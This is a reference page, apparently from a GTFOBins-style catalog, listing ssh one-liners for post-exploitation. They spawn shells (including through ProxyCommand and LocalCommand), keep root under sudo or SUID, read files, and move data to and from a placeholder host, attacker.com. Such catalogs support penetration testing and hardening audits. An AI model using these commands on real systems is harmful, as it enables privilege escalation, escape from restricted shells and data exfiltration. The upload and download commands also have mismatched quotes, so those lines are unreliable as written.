ssh | bokkapig

Shell

This executable can spawn an interactive system shell.

CommentReconnecting may help bypassing restricted shells.
Unprivileged
This function can be performed by any unprivileged user.
```
ssh localhost /bin/sh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh localhost /bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
ssh localhost /bin/sh
```
Unprivileged
This function can be performed by any unprivileged user.
```
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
```
CommentSpawn the shell on the client, but still requires a successful remote connection.
Unprivileged
This function can be performed by any unprivileged user.
```
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
```

File read

This executable can read data from local files.

CommentThe read file content is corrupted by error prints.
Unprivileged
This function can be performed by any unprivileged user.
```
ssh -F /path/to/input-file x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh -F /path/to/input-file x
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
ssh -F /path/to/input-file x
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
```
ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
ssh user@attacker.com 'cat /path/to/input-file"
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ssh user@attacker.com 'cat /path/to/input-file"
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
ssh user@attacker.com 'cat /path/to/input-file"
```
SenderAn SSH server can be used on the attacker box to send the data.